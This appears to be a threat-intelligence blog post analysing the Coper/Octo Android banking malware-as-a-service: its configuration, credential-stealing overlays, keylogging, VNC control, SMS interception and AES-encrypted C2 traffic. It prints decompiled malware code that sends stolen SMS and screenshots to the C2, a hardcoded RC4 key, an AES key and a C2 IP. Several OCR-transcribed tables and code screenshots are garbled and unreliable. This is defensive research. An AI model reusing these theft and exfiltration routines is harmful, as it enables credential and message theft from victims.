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Analysis of an Android Malware-as-a-Service Operation

Coper, a descendant of the Exobot malware family, was first observed in the wild in July 2021, targeting

Colombian Android users. At that time, Coper was distributed as a fake version of Bancolombia’s “Personas"
application. Its capabilities included keylogging, interception of push notifications and SMS messages, as well as

control over the infected device’s screen.

In early 2022, researchers at ThreatFabric identified a post on an underground economy forum where the author
sought information on the ‘Octo Android botnet’. Their analysis of this post established a direct link to

ExobotCompact, a “lite” version of the aforementioned Exobot, which had been updated and rebranded as Octo.

Therefore, Coper and Octo are considered synonymous names for the same malware family, which has evolved

over time from its Exobot origins (circa 2016).

Today, Coper/Octo is offered as malware-as-a-service, where customers are provided access to a panel and
builder used to coordinate and execute campaigns. As a result, we observe Coper/Octo being used to target many
countries across the globe in campaigns crafted to ‘appeal’ to specific audiences. The aforementioned fake
“Personas" application serves as a good example of the level of regional focus that the service can provide its

customers.
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In this blog post, we will detail our analysis and understanding of the Coper/Octo Android malware, examining
the malware’s continued development, as well as providing insights into attack patterns, infrastructure utilization

and management, and hunting tips.
Key Findings

e Coper/Octo, originating from the Exobot malware family, has evolved from its initial observations in 2021
targeting Colombian Android users. It has transformed into a malware-as-a-service operation, providing
customers with a range of malicious capabilities. The malware's distribution includes tactics such as

impersonating legitimate applications like banking apps to deceive users into installing it.

o The malware offers a variety of advanced features, including keylogging, interception of SMS messages
and push notifications, and control over the device's screen. It employs various injects to steal sensitive
information, such as passwords and login credentials, by displaying fake screens or overlays. Additionally,
it utilizes VNC (Virtual Network Computing) for remote access to devices, enhancing its surveillance

capabilities.
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e Coper/Octo operates through a complex command-and-control (C2) infrastructure, encrypting
communications to evade detection. Analysis of C2 servers reveals an understanding of victim targeting,
with notable concentrations in countries like Portugal, Spain, Turkey, and the United States. The malware
employs techniques to filter out certain regions, ensuring its operations align with the interests of its

operators while evading detection in specific geopolitical areas.

Malware Analysis

Initial Command and Control Capabilities

Firstly, we will examine the Coper/Octo malware payload which has been updated over the last few years to
include new features and provide greater "user" flexibility. This flexibility becomes evident when we examine the

malware configuration, which is set by each customer/operator.

After the initial compromise and once communication with the C2 server is established, the Coper/Octo bot
payload is passed to the victim device. The payload includes the configuration file, the parameters of which

include:

e block_push_apps: blocks push notifications for the listed applications.

 desired_apps: specifies the applications targeted by the malware.

e domains_bot: provides the C2 server for bot communications. This field is combined with the
extra_domains field, which serves as backup C2 information.

o keylogger_enabled: a binary field determining whether the keylogging function is switched on or off.

« injects_list: the chosen injects the bot will deploy when a targeted application is accessed. Used in
conjunction with injects_to_disable. We will cover injects in further detail below.

o net_delay: determines the time delta for network requests, i.e., communications with the C2 server.

e smarts_ver: determines the inject version to be utilized. Again we will cover this field in further detail
below.

 uninstall_apps: a list of applications to be uninstalled from the infected device. Used in tandem with

uninstall_delay to specify the interval when this action takes place.

The aforementioned smarts_ver configuration field relates to the injects functionality embedded into the
Coper/Octo bot and the C2 infrastructure used to manage it. The smarts information is further broken down into a

separate table, likely to facilitate easier management.

This table contains information such as the inject and target type, as well as specific characteristics of the inject,
such as how extracted data should be formatted and whether the inject is currently active or not. An example of

this table is provided below.
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(1, 'html’, 'specials’, 'gmail’, '%FILE_gmail.html%', ", ", 1)

(2, 'html", 'specials’, 'pattern’, '%FILE_pattern.html%', ", ", 1)

(3, 'html', 'specials’, 'pin’, '%FILE_pin.htm|%', ", ", 1)

From left to right, the data in the table is explained as follows:

e 1,2, 3 are the inject IDs

e HTML is the inject type

 specials indicates that the inject is part of the default build provided when the bot is installed; these
injects cannot be removed

e Gmail, pattern, pin are the inject payloads, followed by the path (denoted by the % FIELD_ value)

e 1is an “is alive” value, where in the case of the three injects shown this is “true”
Coper/Octo supports several injects, for example:

e Accessibility Index: Displays instructions on how to enable Accessibility Services, which are required to
be activated in order to facilitate remote interactions with the infected device. A degree of social
engineering is employed to encourage the victim to take this action

o Fake Pattern: Displays a ‘fake’ unlock pattern screen to the victim user. This allows for the capture of the
unlock pattern required to access the device, which is of particular value for VNC interactions

e Gmail Fake: Displays a ‘fake’ Gmail login form to the victim user. Steps are taken to make this form
feel/look realistic, for example the user’s email address is prepopulated requiring only the password to be
submitted. The obvious end goal being the theft of email login credentials

o URL Inject: Displays an overlay web page, such as an authentication form, when the victim user accesses
an app. The URL inject allows for the harvesting of credentials from any accounts or applications the
operator wishes to target. The inputted data and cookie information are transferred back to the control

server as with the other injects.

In addition to the configuration file and injects, the operator can further interact with the malware using a series of
commands. All requests to/from the C2 infrastructure are AES encrypted and Base64 encoded. Examples of these

commands include:

e delete_bot: delete the Coper/Octo bot

 intercept_off / _on: disables or enables SMS interception

e lock_off / _on: unlock or lock the infected device

e open_url: open a web page in the infected device’s default browser

e set_vnc_task: provide a remote action command, e.g., a gesture

o sms: used to send an SMS message from the infected device (to a specific phone number)
 start_/ stop_keylogger: starts or stops keylogging on the infected device

e vnc_start/ _stop: starts or stops VNC functionality - i.e., remote control of the device/screen
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Operators can also set further parameters to extract detailed information from the infected device, as summarized

in the table below.

l bI Bot ID 1Fp List of unavailable permizcions spD Data to save from the inject
: . = Does the trejan have push N
bP Ping action iPa nntifi:.ﬂ.ijens rights? sPK Package name to save inject data
bR Registration action isE Is the device unlocked? s5D Save data from the smarts inject
: Husber of occasions the bot was :
l bS I Send SMS " isp b LA X0, opEn-PArRIACE ” sT I SMS time
[ bs WNC sercenshot bedy to save kL Heyleogger enabled/disabled? ta IMEI number
cTsk | Tureent "'”':ii‘:ﬂ“" Remyiie kM Keylogger message te Mobile number
da Status of trojan adain rights 1A List installed applicatiens tC Device country
eM Error message 1B A constant used as a tag tD System language
fgM Foreground mode 1K Is the deviee Lochked/unlacked? tE Android version
fn UNC screenshot filename 1L Is the leader present? tF Device model
gSWI Get smart inject ns New SMS tG Mobile operator
| iA | LgRLha tNJ::n:Z:rgEFau“ g " rIP | Real IP frem ip-api.com/ison || up | Device uptime |
3 Dees the trojan have : .
ihe Accessibility Services access? rTS Device leocal timestamp vne VNC status
iAg Is Andreid Go enabled by default? rZ Task results vned VHC XML layout
| iBC | Display battery status " sA | SMS address ” vnescr | VNC takes a screenshot |
: . Action request = follomed by
[ icp I Is the device on charge? " 5B I SHMS body || xC anather parameter

sEd Baolean parameter indicating if
the injeet iz filled (or mot)

Many of these parameters existed in earlier versions of Coper/Octo from around mid-2021, and Exobot dating as

far back as 2018, indicating the malware's development over time and the connections between the families.

With an understanding of how the operators communicate with each infected device (or “bot”), we can now delve

into more detail about how this story unfolds, with the support of examples and images.

Victim Registration and Filtering

When a victim device is initially registered with the bot C2 server, essential information such as the IMEI number,
phone model, Android version, device uptime, etc., is collected and stored in an SQL database. This data serves as

a reference for the threat operator and can be reviewed in the future.

Following registration, the victim device continues to send updates to the C2 server on a daily basis. These

updates allow the threat operator to monitor their infections and compile user interactions with the victim devices.

The screenshot below illustrates the bot registration script, providing a detailed view of these information values,

denoted as $value (e.g., $imei and $model).
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register($bot_id, $data)

$is_sms_admin = (int)$data[P_IS_SMS_ADMIN] ;
tis_device_admin = (int)$datalP_IS_DEVICE_ADMINI];
$is_locked = (int)$datal[P_IS LOCKED];

f(isset($data[P_IS_LOADER_INSTALLED])
$£is_loader_installed = (int)$data[P_IS_LOADER_INSTALLED];
else

$is_loader_installed

$extra_info = $this->db->escape($this->getExtralnfo($data));

flisset($data [P_REAL_IP]) && $data[P_REAL_IP] 1= "
$ip_raw = $this->parseIP($data[P_REAL_IP]);

$ip_raw = get_ip();

£ip = Sthis->db->escape(substr($ip_raw, @, 512));

$bot_id2 = $this->db-»escape($bot_id);

$imei = $this->db->escapel(substr($data[P_IMEI], @, 50));
tnumber = $this->db->escape(substr({$data[P_NUMBER], 8, 15));
$country = Sthis-»db-»escape(substr($data[P_COUNTRY], @, 2));
$lang = $this->db->escapel(substr($data[P_LANG], @, 5));
fandroid = $this->db->escape(substr($data[P_ANDROID], @, 64));
smodel = $this->db->escape(substr($data[P_MODEL], @, 208));
toperator = $this->db->escape(substr($data[P_OPERATOR], @, 28));
$tag = $this->db->escape(substr($datalP_TAG], @, 32));

tapps = $this->db->escape($data[P_INSTALLED_APPS]);

tuptime = §this->db->escape((int)$data[P_UPTIME]);

fvnc = $this=->db=->escape(substr($datalP_VNC], @, 128));

tkeylogger = $this—>cfgl'keylogger_ena

Two values hold particular significance during the bot registration stage: $country and $lang. Like many malware
families, Coper/Octo prohibits the infection of devices in Commonwealth of Independent States (CIS) countries

and/or devices utilizing the official languages of these countries.

This means that for customers of Coper/Octo, victims in Armenia, Azerbaijan, Belarus, Kazakhstan, Kyrgyzstan,
Moldova, Russia, Tajikistan, Turkmenistan, and Uzbekistan are strictly out of scope. The filter is applied by the

malware authors and is present in all standard distributions of the malware.

define('SKIP_FILTER',
define( ' FORBIDDEN_COUNTRIES', 'cn,ru,rus,kz,ua,by,az,am,kg,md,tj,tm,uz');

define('FORBIDDEN LANGS', 'ru,kk,uk,be,az, hy,ky,mo,tg,tk,uz');

Additionally, eagle-eyed readers will notice that victims in China (cn) and Ukraine (ua) are also prohibited.
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The process of checking against language and country filters occurs alongside checks to ensure that the victim
device is not an emulator or running on a virtual machine, resulting in three distinct reasons why a bot may be

rejected in the registration process..

if(!SKIP_FILTER && !strstr($tag, "DONOTFILTER"))

if(stristr(",".FORBIDDEN_LANGS.",", ",".$data[P_LANG].","))
{
$this _bi ("bad lang: {$lang}", $ip_raw);

return

if($data[P_OPERATOR] == "Android" ||
$data[P_MODEL] == "VirtualBox" ||
stristr($data[P_MODEL], "Emulator
stristr($data[P_MODEL], "Sandb

$this->block_bitch("baddevice: {$data[P_MODEL]}", $ip_raw);
return "":
if($data[P_COUNTRY] != "" && stristr(",".FORBIDDEN_COUNTRIES.",", ",".$data[P_COUNTRY].","))

d country: {$countryl}", $ip_raw);

Once the registration process has successfully occurred and regular updates are being received from the bot, the

threat operator can begin to interact further using the commands and features outlined previously.

Encryption / Evading Detection

To evade detection, all Dex classes associated with Coper/Octo are encrypted using a hardcoded RC4 key,

following the encryption routine illustrated below.
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o000
public class RC4Encryption {

private int indexl = 0;
private int index2 = 0;
private final int[] keySchedulingArray = new int[256];

public RC&Encryption{byte[] key) {
initializeKeyScheduling(key);

}

yitializes the key scheduling array based on the [
private vold initializeKeyScheduling(byte[] key) {
for (int i = 0; i < 256; i+) {
keySchedulingArray[i] = i;
}

] =0;

- (int 1 = @; 1 < 256; i+) {
j = (J + keySchedulingArray[i] + (key[i % key.length] & 0xFF)) % 256;
swapElements(i, j, keySchedulingArray);

Swaps elements in the key scheduling arr
private void swapElements{int i, int j, int[] array) {

int temp = array[i];

array[i] = array[jl;

array[j]l = temp;

En crypts the put string us R il gordth
public static String encryptDecryptRC4(String input) {
RC&4Encryption rcé4 = new RC4Encryption( "lUajevefeheMZI4sx".getBytes());

return rcé.performRC4(input);

public String performRC4(String input) {
byte[] inputBytes = hexStringToByteArray(input);
byte[] outputBytes = new byte[inputBytes.length];

for (int i = @; 1 < inputBytes.length; 1++) {
index1 (index1 + 1) % 256;
index2 = (index2 + keySchedulingArray[index1]) % 256;
swapElements(indexl, index2, keySchedulingArray);
int xorIndex = (keySchedulingArray[index1] + keySchedulingArray[index2]) % 256;
outputBytes[i] = (byte) (inputBytes[i] * keySchedulingArray[xorIndex]);

¥

return new String(outputBytes);

by I
rray(String s) {

public byte[] hexStringToByteA
int len = s.length{);
byte[] data = new byte[len / 21;
for (int 1 = @; 1 < len; 1 += 2) {
datali / 2] = (byte) ((Character.digit(s.charAt(i), 16) << &)
+ Character.digit(s.charAt{i + 1), 16});

}

return data;

With knowledge of the routine and the hardcoded key (1U0jgv9f6hgMZ148x) we are better equipped to

understand the Coper/Octo code, including its functionalities and interactions with the C2 infrastructure.
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Using CyberChef, we can input encrypted strings as follows, with the output being the decrypted string in plain

text.
Download CyberChef ¥ Last build: 3 days ago - Veersion 10 is here! Read about the new features here
Operations Recipe BB E input
Search... e S I 78ccd6833cTR44808bTR542T6e
Favourites * Passphrase —
U8 jgvafEhgMZI48x UIES
To Base64
Input format Qutput format
Hex Latin
From Base&4 w26 = 1
To Hex Output
From Hex lis_registered
To Hexdump

We can then use this process to decipher the encrypted information described above, for example the below

screenshot has the plain text values for a number of encrypted strings commented out.

public statie vedd sartjsefjsrrjtsrtjgihelontext context) {

IntentFilter intentFilter = new IntentFilter();

intentFilter, sddiction| Chresk. fddol " T8dled8 115 fed95096 b 522 fE4075 2401610 295217701 88baeS6123d 107 T fdced™) ) /4 android.intent.action. USER_PRESENT
intentFilter.addAction| Chreak, fddal 782 ‘c“es’b 435096 Th5 22 TEA075 34216 e 295 e160008abceS) 2303 TEdToo9B10 ) ) // androld. Intent. action. EOOT_COMPLETED
intentFilter. addhetion| Chreak. fddal
intentfilver.addhcr lond Chreak. fddol
intentFilter. addAction| Chresk, fddal
intentFilter.addAction|Coreak, fddel 723
intentFileer. addhention|Chreak, fddal"7od
intentFilter. addhet ion|Chreak. fddal

EA6TH522 TEADTS TEa34R161¢ 295617 IETHC LT 17 330 abaleS c 21682107 ace S )} /F andreld. Lntent. 3C8 Lon, CUTCKBOOT PORERGN

AR Tb5XI G407 T EaR4816 1025561 T2c B0GA DT A Bdcbe 5TedBI 35 ) ) /7 androdd. intent. action. PACKAGE ADGED

G TB5 T2 TEA0TS foa 401610295 e1 T 20 2052007 G2 chab TRAM G201 ) ) #F Jcr!m:n‘.:.1rMr..|rr.'od'\.P.=.'r.!..'\!_R!.'.|WFJ

.3':7-'?‘c651?1-=:c-02161|: 'kl:r-acdaﬂlﬂ-m}c(?“ Ttad8ldnla i A7 androld.provider. Telephony. SH8_RECEIVED
 /F andre ent. Act Lo, SOREEN O

48116 eA95EI6 MBS P6ANTS I3T1ALE 16 150e1 67001 ade 871 TEAES bhcrr'\'ﬁltcan.u7:11.|.-.1ﬂr}3:|z'.17w-'z.|.|-15ro-_p::1cb"l);

intentFilter.addhction| Coreak. fadal"
intentFilter. addhenion| Chreak. fddol

336 fedd5001 10526460 11 f a2 793647 305826 1068 cbe 1 36528 cbe 772431790117} ); £/ awdroid.net. conn. CONNECTIVI TY_CHANGE
3."5':'95591reS;{-&Jala.:l46;;922-1]“::-‘9-\)11:-52,«! lr. Fﬁe.ch:s." :S 199 J, S androfd.pel.wifi.WIFT_STATE CHANGED

intentFilter. addhet lon|Chreak, fddal 165 7oy ); Jf android. intent.action, DREANING_STOPPED
Lﬂtl‘ﬂlf‘ll{l’ addCategory | Coreak, fdde(~ 1010082 6 (095098 103 22 1640 TS 11 0 160eaMods0acEdaT (77471 )3 £/ androdd. intent.cate gory., HOME
ey {
context. reqiucrkc::w:r{w pBI7i(). intentFilter);
} catch [Exception unused) {
¥

¥

In addition to the usage of encryption, Coper/Octo seeks to hide its tracks in other ways. Indeed, the use of certain
permissions like REQUEST_COMPANION_RUN_IN_BACKGROUND and
REQUEST_COMPANION_USE_DATA_IN_BACKGROUND indicates a level of stealthiness sought by
Coper/Octo.

These permissions are commonly utilized by Android malware to ensure their operations remain inconspicuous in
the background, reducing the likelihood of detection by the device's user. By running discreetly and utilizing data
in the background, the malware can execute its malicious activities without drawing attention to itself, thereby

maximizing its effectiveness in compromising the victim's device.

Capabilities in Action
Keylogging

The keylogger functionality is a primary feature of Coper/Octo, enabling it to log every keystroke made on the
victim’s phone. Upon activation, Coper/Octo checks the status of the keylogger by verifying the value
"keylogger_enabled=1". If enabled, it captures all information entered by the victim via the keyboard, including

events and taps on the device. This encompasses application passwords, graphical patterns, PINs, push
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notifications, and screen passwords. Furthermore, the keylogger retrieves data from the device's web browser. In

cases where the keylogger is not initially enabled, it can be activated later through the C2 panel.

All keylogged information is stored in a file within the device's data directory. Once the contents of the keylogger
data file have been fully read, the file is deleted. This indicates a policy of utilizing the storage space once and
temporarily, potentially for operational security reasons and to prevent sensitive data from remaining accessible on

the filesystem, which could serve as evidence of the device's compromise.
Injects

Injects also play a crucial role in the Coper/Octo service offering, providing customers with a wide range of data
theft mechanisms, as previously described. These injects are initially configured in the bot but can be later
modified from the customer's C2 panel. Below is an example of a URL inject designed to target Gmail user

information, using an overlaid “spoofed” login form to capture the victim’s credentials.

o209

private Stri miBelse(String str, String str2, String str3
string[] straArr;
if (str3.equals(
return st
}
for (String s
s5tr2

i

String m
String repla
lace( "<

str.ec
return replacez2;

}

String milfnew = Cfinal.mll@new(this.f20new,
pry()) {
oto.m136public(this.f2@ne

f (!ml10new.isEmpty()) {
Cfinal.mlllthis(this.f20new,

Breaking this screenshot down step by step:

e Firstly, the inject type is defined, in this case, “url”

e Next, it injects “onblur” event handlers in order to capture user inputs

e Then, the HTML content of the page is updated with genuine device and application information,
increasing ‘realism’

 Finally, the captured Gmail credentials are stored in the file “gmail_login”

Injects can also be used, as referenced previously, to obtain the infected device’s screen password or PIN, enabling

remote access and management of the device.
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200

Matcher pinMat Pattern.compile(""([0-9-]{1,16})%").matcher(nodeText);
StringBuilder result = new StringBuilder();

if (findPinOrPasswordNede(rootNodeInfo, “pinEntry”) Il 'pinMatcher.find()) {

result.append(”s N _f ):
} else if (nodeText.replace( ).isEmpty() Il nodeText.length() < &) {

result.append(“PIN_|
} else {

result.append(”PIN_GOOD:

result.append(nodeText)
return result.toString();

VNC (Remote Access)

Coper/Octo is not unique among Android malware families in adopting VNC into its bag of tricks, with other

notable examples including Godfather, Hook, and Vultur.

VNC provides an alternative option for monitoring user input, such as using its screen recording capabilities to
capture information inputted into things like banking services, or applications and websites of interest. In this way,

VINC serves as the third "alternative" to inject and keylogging capabilities.

To execute all of its VNC features, Coper/Octo requires permissions for the Accessibility Service to be granted,;

we previously covered an inject used to socially engineer the victim into activating this.
Once permissions are granted, VINC is utilized for a number of purposes, including:

o Enabling or disabling device sounds, which is useful when the operator wants to capture things like SMS
messages or push notifications

e Enabling the virtual keyboard, allowing the operator to enter information into the infected device.

e Modifying the device backlight, which can potentially be used to interact with the device while it appears
to be in sleep mode

¢ Sending pattern codes to unlock the device

o Taking device screenshots (the process of which is illustrated in the screenshot below)
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public void fddo(Context context) {
try {
File file = new File(context.getApplicationInfo().dataDir, "screenshot.jpg");
if (file.exists()) {
FileInputStream fileInputStream = new FileInputStream(file);
int length = (int) file.length(});
byte[]l bArr = new byte[length];
int i =@;
while (i < length) {
int read = fileInputStream.read(bArr, i, length - i);
if (read < 8) {

break;
}
i += read;
}
if (i < length) {
return;
}

fileInputStream.close();
ifdf{context, bArr, “screenshot.jpg"};
}
} catch (Exception unused) {

}
public void ifdf(Context context, bytel] bArr, String str)

JSONObject jSOMObject = new JSONObject();
try {
JSONObject.put{"xc", "vncScr');
jSONObject.put("fn", str);
jSONObject.put("bs", Base6d.encodeToString(bArr, @));
new Cthis(context, jSONObject).executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, new Void[@]);
} catch (JSONException unused) {
}
H

Referring to the table of parameters used by Coper/Octo, we can observe that an action request is made (xc) for a
screenshot to be taken (vncScr), with a filename defined (fn) and an image body to be saved (bs) as a Base64

string.
SMS Message Interaction

The final capability we'll examine is Coper/Octo's ability to interact with SMS messaging services, allowing it to

intercept, read, and send messages within the device.

As with other aspects of the malware, the initial step is to ensure that the required permissions are granted.
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package com.therewriteq;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import fddo.Cbreak;

import fdde.Cfinal;

import fddo.Cgoto;

/= loaded from: fUsers/glacius/Downloads/fstream-1 =/
public class p@55z extends Activity {
public static Stringl] fddol() {
raturn new 5tring[]{"android.permission.SEND_SMS", "“android.permission.CALL_PHONE", "android.permission.RECEIVE_SMS",
"and;oid.mmisﬁ ion.READ_SMS"};

@verride // android.app.Activity

protected void omActivityResultiint i, int i2, Intent intent) {
super.onfctivityResult(i, i2, intent);
finish(};

@iverride // android.app.Activity

public woid onCreate(Bundle bundle) {
string[] fddo2;
super.onCreate(bundle) ;
Cgoto.ml26goto(getApplicationContext());
if (Cgoto.ifdf < Cgoto.f6dnew) {

finish(};
return;
}
Cont?xt applicationContext = getApplicationContext();
try
Cfinal.ml87elselapplicationContext, "check_perms_attespts", @);
String str = ""

for (String stri : fddo()) {
if (checkCallingOrSelfPermission(str2) != @) {
str = str+ strz + " "

Cfinal.mlllthis(applicationContext, “perms_failed", str.replace("android.Manifest.permission.”, "").replace(
“android.permission."; "))z
if (!str.isEmpty()) {
requestPermissions(str.split(","), 42);
Cfinal.ml07elselapplicationContext, "perms_check_delay™, 38);
return;

}
Cfinal.ml@7else(applicationContext, "perms_check_delay™, 6@@);
if (Cfinal.mll@new(applicationContext, Cbreak.fddo("78dcfad93bbe3dceand”), "".equals(“perms”)) { // acsb_task
Cfinal.mlllthis{applicationContext, Cbreak.fddo("7@édcfa%386e34co@84"), “"); // acsb_task
}
finish(};
} catch (Exception e} {
Cgoto.mll17class(applicationContext, "EXC_PERMSACT", e);
J
@Override // android.app.Activity
protected void onPause() {

super.onPause();
finish();

Once confirmed, the bot will initiate the SMS interception process, whilst simultaneously aborting the
SMSReceived broadcast to the victim (using the command “EXC_SMSRCV”), meaning notifications for new

messages are no longer served to the victim user.

In the below screenshot we have used the aforementioned decryption process (see the section on Encryption /

Evading Detection) to help illustrate the SMS interception process.
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public class p@33u extends BroadcastReceiver a
£/ =>SmsRev

S+ renamed from: fddo */
private static final String f92fddo = Chreak.fddo("2181dadc2acs4ens”); SmsRev

public J5OMObject fddo{Context context, Intent intent) {
Object[] objarr;
String displayMessageBedy;
Bundle extras = intent.getExtras();
if (extras == null || (objarr = (Object[]) extras.get(Cbreak.fddo("61dbfc82"))} == mull) { // pdus pdus
return null;

}
int length = objArr.length;
SmsMessage(] smsMessageArr = new SmsMessage[lengthl;
for {int i = @; i < objArr.length; i++) {
smsMessageArr(i] = SmsMessage.createFromPdul (bytel(]) objArr(i]);

}

if (length == 1 || smsMessageArr(@].isReplace(}) {

displayMessageBody = smsMessageArr(@].getDisplayMessageBody();

} else {

StringBuilder sb = new StringBuilder();

for (int 12 = @; i2 < length; iZ++) {
sb.append(smsMessageArr(i2].getMessageBady());

displayMessageBody = sb.toString();

}

SimpleDateFormat simpleDateFormat = new SimpleDateFormat(Cbreak. fdde("75dbaébel4b8540a8bechER242491cd1640670") ) ;
A dd/MM yyyy HH:mm:ss . .

JsonObject jSONObject = new JSONObject(); # adMWyyyy HiH:mm:se

jSONObject.put(Cbreak. fddo("69dc™), Cbreak.fdde("73ec"));

String str = (String) smsMessageArr[@].getClass().getDeclaredMethod(Chreak. fddo(
"76dafdb530ed5d1f0eec693863141802360161e39cBe46e6b78dcI42"), new Class (@] ). invoke(smsMessageArr(@], new Object(@]);
/7 getDisplayOriginatingAddress getDisplayOriginatingAddress

jSONObject.put(Chreak. fddo("62fe"), strl; sA

jSONObject.put(Cbreak. fddo("621d"), displayMessageBody); sB

String format = simpleDateFormat.format(Long.valueOf(smsMessageArr(d].getTimestanpMillis()));

jSONObject.put(Cbreak. fdda("62eb™), format); ST

Cgoto.qlcontext, format, str + Cbreak.fddo("2b") + displayMessageBody);

return jSO0NObject;

}

@lverride // android.content.BroadcastReceiver
public void onReceivelContext context, Intent intent) {
try {
J50NObject fddo2 = fddolcontext, intent);
if (fddo2 != null) {
new Cthis(context, fddol).executeOnExecutor{AsyncTask.THREAD_POOL_EXECUTOR, new Void[@]);

} catch (Exception e) {
Cgoto.mll7classicontext, "EXC_SMSRCVY, el;

}
abortBroadcast();
b

Once again, referring to the table of parameters used by Coper/Octo, we can observe that the SMS address

(sender) is defined (sA), along with the message body (sB) and timestamp (sT).

As mentioned earlier, this capability enables the operator to read messages received by the victim and send out
new messages from the compromised device. This functionality might be utilized as a method for further onward

infection of other devices, possibly by persuading the recipient(s) to download a malicious application.

C2 Infrastructure Overview & Stats

Before looking into campaign and victim statistics, let's delve deeper into how the Coper/Octo bot communicates

with operator C2 infrastructure, expanding on the previous section discussed at the beginning of this blog post.

We will outline the process by which the C2 server gathers information from the bots, explain how we decrypt this
data, and then transition into examining the characteristics of the C2 servers, facilitating the discovery of other

infrastructure connected to Coper/Octo.

As referenced previously, communications between the bot and C2 server are AES encrypted and Base64

encoded.
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public static String ml3Znew(String str) {

if (str == null || str.isEmpty()) {
return ""';

}

try {
SecretKeySpec secretKeySpec = new SecretKeySpec(jargjtadfhgjsrfj(Cfor.f57case).getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/ECE/PKCS5Padding");
cipher.init(2, secretKeySpec);
byte[] doFinal = cipher.doFinal(Base&d.decode(str, @));
return doFinal == null 7 str : new String(doFinal);

} catch (Exception unused) {
return str;

}

Thankfully, there is a means to decrypt the traffic and subsequently have a clear view of the communications,
providing us with context on who is being targeted and what types of information the threat operators are

particularly interested in

We will use the public sandbox from Triage for our analysis, as they have developed a configuration extractor for

Coper/Octo, which makes all our lives easier (thanks for that!).
Once we have submitted the payload to the sandbox, a few interesting findings become available to us:

e (2 information associated with the payload (in this case, a number of similar domains which resolve to
94.156.68.191)
e The applications targeted by the malware, which include a large number of banking applications

e The AES key, which we can use to decrypt the C2 communications

AES_key 1 3534353639643261616165373137363333356136376266373265383637333666

The communications captured during the sandbox run can be downloaded in PCAP format, which can be analyzed

further using a tool such as Wireshark.
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ODO4d© m @ C]

Time

Res>EFEH B

Dios tinati

5 P024-22-07 09:33101.55905. 10.127.0.40 94.156.68.101
173 20Z4-22-07 133131, 65743, 94.1506.63.191 10.127.0.40
141 F02E-32-07 LATHGE. 10.127.0.40 S4.156.68.191
2948 PORE-42-07 09:13:10.0UDEI. 41566410 10,3370, 440
278 J0X4-02-07 09113139, 85404. 10.127.0.40 P4.196.68.101
200 Io24-3X-07 8513 . 156.68.191 10.127.0.40

F2A-92-07 156.68,191

HZE-2-07

L1278, 40 94,

A RRE-32-07 L3568, 191 19.137.9.
484 T024-82-07 L127.0.40 P4.156.68.101
406 2024-22-07 .156. 68,191 10.327.0.40
Ak4 BORE-22-07 LBTRAN. 10.127.8.40 S8, 156,64, 191
AL6 FORG-RI-0T7 03 3A01.0EEN. B4.156.64.100 19, 337,044
991 F024-22-07 B5:I5:I1.TUI06. 10.127.0.40 B8 156,60, 191

2024-02-07

0935100, 4124, 94,

Protocel |Length
HTTP [TF]
HTTR 563
HTTP w7
HTTP 1402
HTTP a7
HTTR (13
HTTP 924

HTTP [
HTTP 153
HTTP L1
HTTP 487
HTTP (T3
HTTE 434
HTTF L1H
HTTP 454

POST /NrBAMWEI ZOMIMIED, HTTP/1.1
WITP/1.1 299 0K (text/htal)
FOST /Nrilks T meml 2/ HTTR/1. 1
HETP/2.1 2890 0K [text/hial)
POST /NeBAMNE ZOMMMWER, HTTP/1.1
HTTR/1.1 280 0K  ({text/htal)
FEST /BT T 2 HTTR 1. 1
KITP/1.1 2330 OK  [text/hial)
POST /N rBAMNED TOSMNE D, HTTR/ L.
HTTR/1.1 280 0K [text/htal)
POST /NrBEeT2 ZIMMWE DS HTTP/ 1.1
KETP/1.1 299 0K (rext/hial)
FOST MNrBiiaE ThHeWE 2/ HTTF 1.1
WITR/1.1 209 0K [text/htal)
POST MNrBadEn ZMamwE 2/ MTTPS 1.1
WITR/ 1.1 289 0K (vext/hesl)
POST /NEBSED OMIWE DS HTTRS 1.1
WITP/1.1 289 0K (text/htal)

) DEGAG
EeliglyB

Hapleped: HE (LEN)

At this stage, the data remains encrypted. However, we can extract it as a hex stream to transfer it to a decryption

tool. Also, note the aforementioned C2 server, 94.156.68.191, observed in the captured communications.

ransport Layer Secul
TLSv1.2 Record Lay
Content Type: Aj
Version: TLS 1..
Length: 530
Encrypted Appli:
[Application Da’

HTTP/1.1 280 OK\
Server: nginx/1.18
Date: Wed, @7 Feb
Content-Type: text
Content=Length: 32
Connection: keep-a
Vary: Accept-Encod
\r\n

[HTTP response 1/1
[Time since reques

[Request URI: http
File Data: 328 byt
ine-based text data:

[truncated] SjEY7751vuusags10/myvysry 1YL UNXTLGL TLYNLY

&

Expand All
Collapse All

Apply as Filter
Prepare as Filter
Conversation Filter
Colorize with Filter
Follow

Copy

Show Packet Bytes...
Export Packet Bytes...

Wiki Protocol Page

Protocol Preferences

Decode As...

Text item (text), 320 bytes

text Transfer Protocol

i5acbd1b@B5011559a8629a8e6b39823e2]
col]

All Visible Items

All Visible Selected Tree Items
Description

Field Name

Value

As Filter

Copy Bytes as Hex + ASCIl Dump
...as5 Hex Dump

...as a Hex Stream

..as a BaseB4 String

...as MIME Data

..as C String

The final step is to combine the extracted data from Wireshark with the AES key provided in our sandbox run. As

before, we will use CyberChef to assist us with this step.
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Operations Recipe BEF inpn Data Extracted as Hex Stream +0O58 =
Search... Ermry & 6174416221777 12578455659 705 L66536046694 34e65606584264474365 7240563334637 |
BaTi5 1496442797 260Eb784d65T 1665 TTRE149443T72327aT955347624d397 34254366758
F tos Deimiter 4167404 alas 645 T2 4c IN625054357 ITabR4 6534 TAAbTAS 146403369604 24966464550
Auto 583342546203 9663 2167666305 065606239734 1725679535037 7756640032617 8004 642
To Basata S57304d53757347647aBa2 {576TEd3T7544bTE4e2 14O SEETS41 3120 TB5EE140426E5120
I5IT456650423TIGENEAILIVE5426020ETAI61496042 304 14EETEA3I68 34467 25665402 1
From Base8d & n 3434304b3934703762616e4c3TE MRS ATITEEAA65651 6061306350304 839564755T54675
GRS 38356e4bd6EEIZTA4367 37 4e6aT 2657 1307632544 24160 3664468456543 1425 26E6379
Ainhazet . 4148344232506433455863686e724e5744676a0264423 1696862736653 6636466e56435a
To Hex A-Za-z8-O+f= 430405 4663640487755 30523735347 17150467 72b4b40614b5 749584 46032367121 3244
3156637 245T05066TES 24434456660 2bTIABA1 305561 Ta3 102663357 3056635749564135
From Hex ﬂ Remave non-alphabet chars 4B5aBc3I830Ta697941 4E6a434634614c3T52216453504b694edbed69T7 a5EE9304365231T8
